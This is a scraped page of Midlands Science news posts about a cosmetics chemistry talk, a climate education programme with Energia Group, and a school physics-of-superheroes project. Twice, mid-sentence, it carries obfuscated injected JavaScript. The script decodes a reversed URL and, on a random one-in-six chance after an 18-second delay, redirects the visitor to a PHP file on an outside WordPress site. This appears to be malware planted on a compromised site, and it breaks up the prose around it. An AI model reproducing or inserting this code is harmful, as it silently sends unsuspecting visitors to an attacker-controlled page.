Unique Event in Mullinger – Beauty and the Chemistry Beasts

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We are just days away from the start of the Midlands Science Festival 2022! Mullingar is the venue for a unique talk on where Dr Craig Slattery will be delving deep into the world of beauty and cosmetics, in an event separating the science and marketing that often collide in the world of beauty products.

We spend millions every year on everything from sunscreen to lipstick but what are we actually buying and what $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}does some of the labels mean? Dr Slattery will explore everything from the ingredients to the psychology of beauty. This event, supported by the Royal Society of Chemistry, will explore (and sometimes explode) the myths, marketing and reality of cosmetic products. Shopping for cosmetics will never be the same again!

‘Beauty and the chemistry beasts’ takes place on Thursday November 17th at 7.30pm, Annebrook House Hotel, Mullingar – Book your place now!

Midlands Science Partner with Energia Group to deliver ‘Innovate for Climate Action’

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Local development company, Midlands Science is delighted to announce a new collaboration with leading Irish renewable energy developer and energy provider, Energia Group. ‘Innovate for Climate Action’ is a climate science education programme being delivered to schools in the Midlands in the coming months. The role of young people in tackling climate change, one of the greatest challenges of our generation, is crucial. As part of ‘Innovate for Climate Action’ participating schools will learn about the climate crisis, climate change challenges and climate solutions. Students will also hear from Energia Group’s renewable energy experts about some of the exciting projects being progressed to help realise Ireland’s ambition to achieve a net zero economy. Energia Group is developing new offshore and onshore wind and solar projects, green hydrogen production and battery storage projects as part of their wider Positive Energy Investment programme.

Jackie Gorman, CEO of Midlands Science said, “The Climate Action Plan is Ireland’s roadmap to becoming a climate neutral economy and resilient society by 2050. Becoming a climate resilient society will help us to cope with the impacts of a changing climate. Young people care about the environmental crisis and climate action because it is their future which will be impacted by the worse effects of climate change. Midlands Science is delighted to team up with Energia  in providing a number of  workshops as part of the ‘Innovate for Climate Action’ programme over the coming months. A transformational shift in the way our society and economy operate is needed and students are more likely to change their behaviours and encourage their parents to join them if they better understand the science of climate change. These workshops will teach them more about climate and environmental impact, but it will also be interactive and include brainstorming and teamwork opportunities on certain aspects of climate change education.”

Annabel FitzGerald, ESG & Corporate Communications Manager, Energia Group said, “At Energia Group, we have aligned our responsible business activities to the UN Sustainable Development Goals and SDG 13 Climate Action is core to our business. Our new carbon target to reduce the carbon intensity of our electricity generation by 50% by 2030 demonstrates our commitment to climate action. We are delighted to partner with Midlands Science to deliver ‘Innovate for Climate Action’ to schools across the midlands. As well as progressing offshore renewable energy projects, windfarms, battery storage facilities, solar and hydrogen we understand the importance of continuing to raise awareness of the climate crisis and the urgency with which the energy transition must progress is vital. The students of today are the decision makers of the tomorrow and their engagement in climate related matters is critical.”

About Energia Group: Energia Group is a leading integrated Irish energy business with substantial operations in both the ROI and Northern Ireland. The Group primarily operates across three business units: Renewables, Flexible Generation, and Customer Solutions. With offices in Dublin, Galway, Cork, Belfast, Antrim, and Omagh, Energia Group supplies almost 21% of the island of Ireland’s total electricity requirements and 25% of the island’s total wind power meeting the energy needs of 800,000 homes and businesses with competitive electricity and gas services provided through its two retail brands Energia and Power NI. The Group supplies close to 1.3 Gigawatts of green power to the market, including power from 15 owned and invested wind farms on the island and also operates two major gas-fired power stations in north County Dublin. Energia Group employs over 1,000 people and is one of only 46 companies to have achieved the Business Working Responsibly mark from Business in the Community, the leading independently audited standard for CSR and Sustainability in Ireland.

Exploring Physics with Superheroes in Westmeath!

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Institute of Physics - Science of Superhero Event Oct 2022 - Dr Craig Slattery National Science Park MullingarLast week was the culmination of an exciting and engaging science outreach project in Mullingar with Midlands Science. The Science of Superheroes was a project managed by Midlands Science and delivered by physicist Dr Barry Fitzgerald, supported by the Institute of Physics. Students from Colaiste Mhuire and Loreto College Mullingar worked over the past few weeks with Dr Fitzgerald to understand more about the wonderful and sometimes weird world of physics through the world of superheroes and the kind of powers they have.

Exploring the Physics of Superheroes was a new Midlands Science outreach project which allowed students to experience the excitement of superheroes whilst learning all about the physics that make such stories possible. The project was supported by the Institute of Physics, a society and professional body that works to advance physics education, research and application. The Institute of Physics Limit Less campaign aims to support young people to change the world by $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doing physics.

Fiona Longmuir of the Institute of Physics commented “The  Institute of Physics were delighted to support Exploring the Physics of Superheroes, sparking young people’s curiosity and creativity by showing the real-world physics that inspired their favourite superheroes.”

The project brought together a range of well-known characters from the Marvel Universe and other pop culture references, exploring and explaining the amazing physics behind their superpowers. Outreach such as this is a vital way of exploring what science and physics can bring to our lives in the future, it’s often things we thought a short while ago were the stuff of movies and science fiction.  Research and evaluation on the project has shown that participants positive attitudes towards physics increased by 24% over the course of the project.

Students from Coláiste Mhuire and Loreto College Mullingar outside Irish Manufacturing Research (IMR) Oct 2022 - Institute of Physics Science of Superheros EventThe project was piloted in two schools in Mullingar and involved groups of students working together to develop their physics and team-work skills. It culminated in an event in the National Science Park last week, where students shared what they have learned and where they hope physics will take them next. Students had honed not just their knowledge of physics but also their science communications skills and spoke about everything from quantum physics and sustainability to the use of radiation in cancer treatment. The event MC was Dr Craig Slattery of UCD’s Conway Institute and Chairperson of Midlands Science.  Midlands Science would like to acknowledge the support and encouragement shown locally to this project through the National Science Park who provided a great location for the event last week and also tours provided to students by Irish Manufacturing Research, showing the students where science might take them next. More information about studies and careers in physics can be found on www.iop.org

 

Institute of Physics LogoAbout The Institute of Physics: The Institute of Physics works to advance physics for the benefit of all and to ensure that physics delivers on its exceptional potential to benefit society. The Institute of Physics is the professional body and learned society for physics in Ireland and the UK. We seek to raise public awareness and understanding of physics and support the development of a diverse and inclusive physics community. Alongside professional support for our members, we engage with policymakers and the public to increase awareness and understanding of the value that physics holds for all of us.